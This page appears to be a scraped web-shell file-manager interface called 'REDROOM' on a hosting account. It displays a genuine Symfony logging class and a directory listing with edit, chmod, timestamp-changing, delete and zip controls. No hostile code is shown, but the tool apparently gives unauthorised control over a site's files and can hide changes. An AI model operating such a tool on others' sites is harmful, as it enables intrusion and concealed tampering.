REDROOM
PHP 8.3.31
Path:
Logout
Edit File
Size: 1.30 KB
Close
/home/getspomw/royalsquad.us/vendor/symfony/http-kernel/Log/DebugLoggerConfigurator.php
Text
Base64
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpKernel\Log; use Monolog\Logger; /** * @author Nicolas Grekas <p@tchwork.com> */ class DebugLoggerConfigurator { private ?object $processor = null; public function __construct(callable $processor, ?bool $enable = null) { if ($enable ?? !\in_array(\PHP_SAPI, ['cli', 'phpdbg', 'embed'], true)) { $this->processor = \is_object($processor) ? $processor : $processor(...); } } public function pushDebugLogger(Logger $logger): void { if ($this->processor) { $logger->pushProcessor($this->processor); } } public static function getDebugLogger(mixed $logger): ?DebugLoggerInterface { if ($logger instanceof DebugLoggerInterface) { return $logger; } if (!$logger instanceof Logger) { return null; } foreach ($logger->getProcessors() as $processor) { if ($processor instanceof DebugLoggerInterface) { return $processor; } } return null; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 4
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
DebugLoggerConfigurator.php
1.30 KB
lrw-rw-rw-
2025-09-17 06:53:21
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
DebugLoggerInterface.php
1.01 KB
lrw-rw-rw-
2025-09-17 06:53:21
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
error_log
888 B
lrw-r--r--
2026-04-25 09:08:53
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Logger.php
5.92 KB
lrw-rw-rw-
2025-09-17 06:53:21
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).